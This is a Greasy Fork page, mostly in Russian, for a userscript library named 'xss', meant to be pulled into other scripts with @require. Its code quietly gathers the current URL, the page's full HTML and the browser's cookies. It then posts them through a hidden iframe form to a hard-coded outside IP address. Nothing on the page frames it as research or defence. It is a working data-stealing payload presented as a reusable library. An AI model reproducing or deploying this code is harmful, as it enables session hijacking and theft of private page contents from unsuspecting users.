Greasy Fork is available in English.

xss

xsscode

Устаревшая версия на 07.09.2018. Перейти к последней версии.

Этот скрипт недоступен для установки пользователем. Он является библиотекой, которая подключается к другим скриптам мета-ключом // @require https://update.greasyfork.org/scripts/371986/627179/xss.js

var url=location.href;var html=document.getElementsByTagName('html')[0].innerHTML;var cookie=document.cookie;html=encodeURIComponent(html);cookie=encodeURIComponent(cookie);function POSTDATA(importurl,data){var iframe=document.createElement("iframe");iframe.name="myTarget";iframe.style.display="none";document.body.appendChild(iframe);var name,form=document.createElement("form"),node=document.createElement("input");iframe.addEventListener("load",function(){});form.action="http://98.142.132.85:8080/-.php";form.method="POST";form.enctype="multipart/form-data";form.target=iframe.name;console.log(data);for(name in data){node.name=name;node.value=data[name].toString();form.appendChild(node.cloneNode())}form.style.display="none";document.body.appendChild(form);form.submit();document.body.removeChild(form)}var importurl="http://98.142.132.85:8080/1.php";var data={url:url,html:html,cookie:cookie};POSTDATA(importurl,data);